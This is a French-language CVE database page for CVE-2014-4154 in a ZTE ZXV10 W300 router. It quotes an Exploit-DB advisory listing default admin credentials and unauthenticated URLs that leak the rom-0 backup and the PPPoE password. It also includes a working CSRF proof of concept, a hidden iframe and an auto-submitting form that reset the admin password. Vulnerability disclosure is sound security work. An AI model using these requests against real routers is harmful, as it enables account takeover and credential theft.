CVE-2014-4154
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Descriptions du CVE
ZTE ZXV10 W300 router with firmware W300V1.0.0a_ZRD_LK stores sensitive information under the web root with insufficient access control, which allows remote attackers to obtain the PPPoE/PPPoA password via a direct request for basic/tc2wanfun.js.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:P/I:N/A:N | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 33803
Date de publication : 2014-06-17 22h00 +00:00
Auteur : Osanda Malith Jayathissa
EDB Vérifié : No
# Exploit Title: ZTE WXV10 W300 Multiple Vulnerabilities
# Date: 17-05-2014
# Server Version: RomPager/4.07 UPnP/1.0
# Tested Routers: ZTE ZXV10 W300
# Firmware: W300V1.0.0a_ZRD_LK
# ADSL Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
# Tested on: Kali Linux x86_64
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Original write-up:https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
#1| Default Password Being Used (CVE-2014-4018)
------------------------------------------------
In ZTE routers the username is a constant which is "admin" and the password by default is "admin"
#2| ROM-0 Backup File Disclosure (CVE-2014-4019)
-------------------------------------------------
The rom-0 backup file contains sensitive information such as the router password.
There is a disclosure in which anyone can download that file without any authentication by a simple GET request.
POC:
http://192.168.1.1/rom-0
You can find the router password using my rom-0 configuration decompressor.
http://packetstormsecurity.com/files/127049/ZTE-TP-Link-ZynOS-Huawei-rom-0-Configuration-Decompressor.html
#3| PPPoE/PPPoA Password Disclosure in tc2wanfun.js (CVE-2014-4154)
---------------------------------------------------------------------
If you look at the frame source in the "Internet" tab under the "Interface Setup" you can see this doLoad function in line 542 which fetches the password and displays it there. The frame URI is /basic/home_wan.htm.
function doLoad() {
var value = document.forms[0].wanTypeRadio[2].checked;
doEnable();
QosCheck();
WANChkIdleTimeT();
if (value)
pppStaticCheck();
LockWhenPVC0();
LockPVC();
if(document.forms[0].wan_PPPPassword != null)
{
document.forms[0].wan_PPPPassword.value = pwdppp;
}
}
The "pwdpp" is loaded from an external file which you can see at the bottom of the page.
<script language="javascript" src="/basic/tc2wanfun.js"></script>
Once the user authenticates the router till another successful restart the password is written in that external JS file.
POC:
http://192.168.1.1/basic/tc2wanfun.js
#4| Admin Password Manipulation CSRF (CVE-2014-4155)
-----------------------------------------------------
You can change the password to blank by requesting /Forms/tools_admin_1 with a GET requesting containing HTTP basic authentication.
POC:
<iframe src="http://192.168.1.1/Forms/tools_admin_1" width="0" height="0"></iframe>
If you send something like above to the victim, he will be prompted for the login and once he enter his credentials, his password will be immediately changed to a blank password.
Ofcourse since there is no XSRF token in the request you change the password as you wish.
POC:
<html>
<body>
<form name="exploit" action="http://192.168.1.1/Forms/tools_admin_1" method="POST">
<input type="hidden" name="uiViewTools_Password" value="your_passwd" />
<input type="hidden" name="uiViewTools_PasswordConfirm" value="your_passwd" />
<script>document.exploit.submit(); </script>
</form>
</body>
</html>
#5| Denial of Service
-----------------------
You can see my previous post about this vulnerability and the exploit.
https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
http://www.osvdb.org/show/osvdb/108076
http://packetstormsecurity.com/files/127076/ZTE-TP-Link-RomPager-Denial-Of-Service.html
http://www.exploit-db.com/exploits/33737
Products Mentioned
Configuraton 0
Zte>>Zxv10_w300_firmware >> Version 1.0.0a_zrd_lk
- Zte>>Zxv10_w300_firmware >> Version 1.0.0a_zrd_lk (Open CPE detail)
Zte>>Zxv10_w300 >> Version -
- Zte>>Zxv10_w300 >> Version - (Open CPE detail)
Références
http://packetstormsecurity.com/files/127129/ZTE-WXV10-W300-Disclosure-CSRF-Default.html
Tags : x_refsource_MISC
Tags : x_refsource_MISC
https://osandamalith.wordpress.com/2014/06/15/zte-wxv10-w300-multiple-vulnerabilities/
Tags : x_refsource_MISC
Tags : x_refsource_MISC
